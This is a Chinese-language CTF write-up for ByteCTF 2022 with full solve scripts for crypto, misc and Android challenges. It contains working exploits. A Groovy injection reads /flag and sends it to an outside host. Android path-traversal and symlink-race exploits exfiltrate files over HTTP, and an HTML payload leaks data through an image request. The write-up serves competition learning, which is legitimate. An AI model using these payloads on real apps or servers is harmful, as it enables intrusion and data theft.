uint32_t k[4] = {0x12345678, 0x87654321, 0xaabbccdd, 0x44332211};
for(int i = 0; i < 12; i += 2) {
decrypt(&tar[i], k);
printf("%#x %#x\\n", tar[i], tar[i+1]);
}
printf("%s\\n", (char*)tar);
}
CRYPTO
Compare
同态,算一下a-b根据大小做个比较就行了
from Crypto.Util.number import *
from pwn import *
CHALLENGE_ID = 'ba3c5079b12d33984d1ce01234f2a0b9'
sh = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
context.log_level = 'debug'
sh.recvuntil("expr: ")
sh.sendline("MSG < 26815615859885194199148049996411692254958731641184786755447122887443528060147093953603748596333806855380063716372972101707507765623893139892867298012168192")
def sol():
sh.recvuntil("n = ")
n = int(sh.recvline(False))
sh.recvuntil("a = ")
a = int(sh.recvline(False))
sh.recvuntil("b = ")
b = int(sh.recvline(False))
msg = a * inverse(b, n*n) % (n*n)
sh.recvuntil("msg = ")
sh.sendline(str(msg))
for i in range(100):
sol()
sh.interactive()
Choose_U_flag
加个模数直接解密就行了
from Crypto.Util.number import *
from pwn import *
CHALLENGE_ID = 'bb3fcb3fc9708bfdcdf710895615ba6e'
sh = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
sh.recvuntil("[+]key coeffs: ")
cipher = eval(sh.recvline(False))
cipher[-1] += 64
sh.recvuntil("> ")
sh.sendline(str(cipher))
sh.recvuntil("coeffs: ")
key = eval(sh.recvline(False))
tmp = ''
for i in key:
tmp += str(i)
res = long_to_bytes(int(tmp, 2))
sh.recvuntil("> ")
sh.sendline(res)
flag = sh.recvline(False)
print(flag)
# sh.interactive()
sh.close()
CardShark
把mt19937抽象成一个矩阵,根据这个网站https://www.anquanke.com/post/id/205861#h3-9直接魔改即可
from random import Random
from sage.all import *
from tqdm import tqdm
from string import *
from pwn import *
import hashlib
CHALLENGE_ID = 'c2695bdd1f6f3f37d9111db119baf00d'
sh = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
# context.log_level = 'debug'
table = string.ascii_letters + string.digits
# passpow
def passpow():
rev = sh.recvuntil("sha256(XXXX+")
suffix = sh.recv(28).decode()
sh.recvuntil(" == ")
res = sh.recv(64).decode()
for a in table:
for b in table:
for c in table:
for d in table:
x = a+b+c+d
if hashlib.sha256((x+suffix).encode()).hexdigest() == res:
sh.recvuntil("Give me XXXX > ")
sh.sendline(str(x))
def recoverState(leak):
x = T.solve_left(vector(leak))
x = ''.join([str(i) for i in x])
state = []
for i in range(624):
tmp = int(x[i * 32:(i + 1) * 32], 2)
state.append(tmp)
return state
def backfirst(state):
high = 0x80000000
low = 0x7fffffff
mask = 0x9908b0df
tmp = state[623] ^ state[396]
if tmp & high == high:
tmp = mask ^ tmp
tmp <<= 1
tmp |= 1
else:
tmp <<= 1
return int((1 << 32 - 1) | tmp & low), int(tmp & low)
def pwn(leak):
state = recoverState(leak)
L = [leak[i] for i in range(400)]
prng = Random()
guess1, guess2 = backfirst(state)
print(guess1, guess2)
state[0] = guess1
s = state
prng.setstate((3, tuple(s + [0]), None))
g1 = [int(j) for j in ''.join([bin(prng.getrandbits(4))[2:].zfill(4) for i in range(100)])]
print(g1,L)
if g1 == L:
print("first")
prng.setstate((3, tuple(s + [0]), None))
return prng
state[0] = guess2
s = state
prng.setstate((3, tuple(s + [0]), None))
g2 = [int(j) for j in ''.join([bin(prng.getrandbits(4))[2:].zfill(4) for i in range(100)])]
if g2 == L:
print("second")
prng.setstate((3, tuple(s + [0]), None))
return prng
length = 19968 // 4
T = sage.all.load('T')
passpow()
cards = []
for t in ('Hearts', 'Spades', 'Diamonds', 'Clubs'):
for p in ('J', 'Q', 'K', 'A'):
cards.append(f'{p} {t}')
def get_data():
sh.recvuntil("guess > ")
sh.sendline("1")
sh.recvuntil("My card is ")
card = sh.recvline(False)[:-1].decode()
# print(card)
# print(cards.index(card))
res = bin(cards.index(card))[2:].zfill(4)
return res
leaks = ''
for i in tqdm(range(4992)):
leaks += get_data()
leak = [int(i) for i in leaks]
my_random = pwn(leak)
leaks = ''.join([bin(my_random.getrandbits(4))[2:].zfill(4) for i in tqdm(range(length))])
context.log_level = 'debug'
for i in range(201):
ans = cards[my_random.getrandbits(4)]
sh.recvuntil("guess > ")
sh.sendline(ans)
sh.interactive()
# sh.close()
MISC
bash_game
bash [[ 里面 是支持运算的
并且就算是双引号也可以展开 但是展开的有一点奇怪 只能展开成数学表达式 不能用 || 直接构造一个万能密码出来
Shell Arithmetic (Bash Reference Manual) (gnu.org)
不存在的变量会被当做 0 并且支持 ++
甚至 不存在的变量 ++ 会创建这一个变量 并且赋值为1
因此 只要让第一次判断取到的值小于score 第二次判断取到的值大于99999999 即可
from pwn import *
import os
#context.log_level="debug"
CHALLENGE_ID = 'd539ff03ee73cc6add92f9f4a4a5ef18'
os.system('./wscat -p 1337 --endpoint wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID + ' &1>stdout &2>stderr &sleep 1')
p = remote('127.0.0.1', 1337)
# 整个活
# 第一次取到的值是 -514 肯定小于$score
# 第二次取到的值是 91081035926 大于99999999
# homo 并不存在,因此第一次取值为0,第一次取值完之后变为1,第二次取值为1
p.sendline('( homo++ * (114*514*1919*810) + yarimasune - 514 )')
p.send("wasd"*1024)
p.recvuntil("This game lasted")
#input()
p.interactive()
easy_groovy
groovy script
String fileContents = new File('/flag').text
无报错 测出flag在/flag 但是没有回显,需要带出
String fileContents = new File('/flag').text
new URL('http://vps/send?'+fileContents).getText()
maze_game
il2cpp编译的unity游戏
https://github.com/Perfare/Il2CppDumper
Il2CppDumper把符号表导出来,再用Il2CppDumper里面的python3脚本导入到ida,这样ida打开就有符号、字符串、结构体了
注意到这个hdrlib很可疑,直接去ida里面看libhdr.so,发现没有混淆,每一个函数返回一个字符串
acsdcsdyrt Byte
adsfjdsjif v4dsa
bmpokjeapfojksd vkO}
fdsafsdoifjuhiaj vcxzn
fkcvoikas CTF{
fsdvadsgtyh zkZ}
kfdsokfdsjpvocjkxz mimdsfo8
nbcxvoijiofdas cvksa
rtqnwoerij moij}
sbdffdgvdfv UJm
vipojpasjfoisdpa zcx3
vokaspojfsd cvzn
vpzxlkcpidsaf rwe4
xsarads Hjx
追踪调用(字符串里搜索函数名称) 发现在il里只有五个函数被调用
acsdcsdyrt => Byte
fkcvoikas => CTF{
fsdvadsgtyh => zkZ}
sbdffdgvdfv => UJm
xsarads => Hjx
根据常识,ByteCTF{ 和 zkZ} 可以确定是开头和结尾
fuzz到 这个金币材质里面写的PXR是最后一段flag。。。
import itertools
a = ['UJm','Hjx',"PXR"]
b=list(itertools.permutations(a,3))
for i in b:
print("ByteCTF{"+"".join(i)+"zkZ}")
ByteCTF{HjxPXRUJmzkZ}
signIn
team id 可以抓包平台获取 也可以爆破捏,一共就几千队伍。
POST http://180.184.70.22:23334/api/signin HTTP/1.1
Host: 180.184.70.22:23334
Connection: keep-alive
Content-Length: 35
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://180.184.70.22:23334
Referer: http://180.184.70.22:23334/final
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
{"team_name":"W&M","team_id":"714"}
findit
改成pcapng可以直接看,systemcall有yijian流量,
#!/bin/bash openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt;
上面显示了有png,这里在wireshark种png文件头可以找到(应该是非预期了)
也可以foremost直接拿到图片
得到前半段flag,根据缺失的uuid的格式strings流量包后正则匹配即可得到flag
survey
问卷
MOBILE
Bronze Droid
让目标授权我们读取 flag,有点坑的地方是访问目录从根目录开始
public void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
URL url = new URL("http://IP:PORT/flag?flag=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
@RequiresApi(api = Build.VERSION_CODES.Q)
private String readUri(Uri uri) {
InputStream inputStream = null;
try {
ContentResolver contentResolver = getContentResolver();
inputStream = contentResolver.openInputStream(uri);
if (inputStream != null) {
byte[] buffer = new byte[1024];
int result;
String content = "";
while ((result = inputStream.read(buffer)) != -1) {
content = content.concat(new String(buffer, 0, result));
}
return content;
}
} catch (IOException e) {
Log.e("receiver", "IOException when reading uri", e);
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
Log.e("receiver", "IOException when closing stream", e);
}
}
}
return null;
}
public void poc() {
Intent next = new Intent("ACTION_SHARET_TO_ME");
next.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");
Uri myUrl = Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag");
next.setData(myUrl);
next.setClipData(ClipData.newRawUri("", myUrl));
next.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
startActivityForResult(next, 0);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (resultCode == -1) {
Uri returnUri = data.getData();
httpGet(readUri(returnUri));
}
super.onActivityResult(requestCode, resultCode, data);
}
Silver Droid
题目分析
package com.bytectf.silverdroid;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
Uri uri0 = this.getIntent().getData();
if(uri0 != null) {
WebView webView = new WebView(this.getApplicationContext());
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
try {
Uri uri0 = Uri.parse(url);
Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");
if(uri0.getScheme().equals("https")) {
return !uri0.getHost().endsWith(".myqcloud.com");
}
}
catch(Exception unused_ex) {
return;
}
return true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
FileInputStream inputStream;
Uri uri0 = request.getUrl();
if(uri0.getPath().startsWith("/local_cache/")) {
File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
if(cacheFile.exists()) {
try {
inputStream = new FileInputStream(cacheFile);
}
catch(IOException unused_ex) {
return;
}
HashMap headers = new HashMap();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
}
}
return super.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
}
}
}
题目限制
- 这道题没有给我们执行 APP 的权限,只能够向此 APP 传入一个 URL,通过与
https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=
拼接得到执行 - 页面读取 GET 参数,判断并跳转到目标页面,禁止了 URL 中存在
myqclound
内容 - shouldOverrideUrlLoading 这里限制了访问页面域名必须是以
.myqcloud.com
结尾,这里开头带有点,难以绕过 - shouldInterceptRequest 检测
/local_cache/
并进行缓存数据读取,存在路径穿越漏洞
跳转页面源码
<h1>jump</h1>
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
var myurl = getQueryVariable("url").toString().toLowerCase();
if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) {
window.location.href = myurl;
}
</script>
漏洞利用
- 通过 hint 得知,可以申请腾讯 COS 来绕过程序内对页面的限制,但是如果要跳转执行,还需要绕过页面对
myqcloud
的检测,这里随便选取一个字符 URL 编码即可绕过,访问页面时 Webview 会进行解码 - 在腾讯 COS 上放置我们的代码,并且使用 JS 可以访问
/local_cache/
并被接管,这里存在路径穿越,可以穿越到 flag 并读取 - 使用 IMG 对象把 flag 带出,由于软件要求协议为 https,所以需要在某个有 https 的服务器上接收 flag(查看日志)
EXP
<h1 id="wjh">TEST</h1>
<img id="img" src="" width="300"/><br>
<script>
request_url = "https://xxxxxx.cos-website.ap-shanghai.myqcloud.com/local_cache/%2F..%2Ffiles%2Fflag"
var request = new XMLHttpRequest();
request.open('GET', request_url);
request.onload = function () {
var img = document.getElementById("img");
if (request.readyState === 4 && request.status === 200) {
img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.responseText);
}
//img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.status);
};
request.send(null);
</script>
Gold Droid
题目分析
程序实现了一个 ContentProvider,并且实现了 openFile 功能
package com.bytectf.golddroid;
import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
public class VulProvider extends ContentProvider {
@Override // android.content.ContentProvider
public int delete(Uri uri, String selection, String[] selectionArgs) {
return 0;
}
@Override // android.content.ContentProvider
public String getType(Uri uri) {
return null;
}
@Override // android.content.ContentProvider
public Uri insert(Uri uri, ContentValues values) {
return null;
}
@Override // android.content.ContentProvider
public boolean onCreate() {
return false;
}
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file0 = this.getContext().getExternalFilesDir("sandbox");
File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
try {
if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
throw new IllegalArgumentException();
}
}
catch(IOException unused_ex) {
return;
}
return ParcelFileDescriptor.open(file, 0x10000000);
}
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
return null;
}
@Override // android.content.ContentProvider
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
return 0;
}
}
在 Manifest 中导出了这个类
<?xml version="1.0" encoding="UTF-8"?>
<manifest android:compileSdkVersion="32" android:compileSdkVersionCodename="12" android:versionCode="1" android:versionName="1.0" package="com.bytectf.golddroid" platformBuildVersionCode="32" platformBuildVersionName="12" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:debuggable="true" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GoldDroid">
<activity android:exported="true" android:name="com.bytectf.golddroid.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:authorities="slipme" android:exported="true" android:name="com.bytectf.golddroid.VulProvider"/>
<receiver android:exported="false" android:name="com.bytectf.golddroid.FlagReceiver">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:authorities="com.bytectf.golddroid.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>
顺便一提的是,这里的 openFile 写法是 Google 的示例代码 Path Traversal 漏洞
public ParcelFileDescriptor openFile (Uri uri, String mode)
throws FileNotFoundException {
File f = new File(DIR, uri.getLastPathSegment());
if (!f.getCanonicalPath().startsWith(DIR)) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
漏洞利用
- 可以通过
getLastPathSegment
产生路径穿越,穿越到其他文件,这里选择穿越到我们的软链接 getCanonicalPath
会读取软链接并且显示真实的地址,所以我们起初可以软链接到sandbox
下的文件,并且通过检测- 通过条件竞争,在通过检测后,
ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY)
前,替换软链接到 flag 文件 - 当返回
ParcelFileDescriptor
为 flag 文件时,我们可以读取 flag 文件并且得到 flag
具体实现
- 线程1:不断的软链接到
sandbox/file1
- 线程2:不断的软链接到
flag
- 主线程:不断的调用 openFile 得到
ParcelFileDescriptor
读取文件
EXP
package com.bytectf.pwngolddroid;
import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class MainActivity extends AppCompatActivity {
String symlink;
public void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
URL url = new URL("http://IP:PORT/flag?flag=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
private String readUri(Uri uri) {
InputStream inputStream = null;
try {
ContentResolver contentResolver = getContentResolver();
inputStream = contentResolver.openInputStream(uri);
if (inputStream != null) {
byte[] buffer = new byte[1024];
int result;
String content = "";
while ((result = inputStream.read(buffer)) != -1) {
content = content.concat(new String(buffer, 0, result));
}
return content;
}
} catch (IOException e) {
Log.e("receiver", "IOException when reading uri", e);
} catch (IllegalArgumentException e) {
//Log.e("receiver", "IllegalArgumentException", e);
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
Log.e("receiver", "IOException when closing stream", e);
}
}
}
return null;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String root = getApplicationInfo().dataDir;
symlink = root + "/symlink";
try {
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
new Thread(() -> {
while (true) {
try {
Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
new Thread(() -> {
while (true) {
try {
Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
while (true) {
try {
String data = readUri(Uri.parse(path));
if (data != null)
{
Log.e("WJH", data);
httpGet(data);
}
} catch (Exception e) {
httpGet(e.getMessage());
}
}
}
}
Find IMEI
VProxid(Proxifier alternative) - Apps on Google Play
如何使用magisk在安卓安装https ca证书 | Chara's Blog
证书装上,代理开上,打开app直接出flag
(X-Real-IP是fiddler脚本自动填的,忘记关了)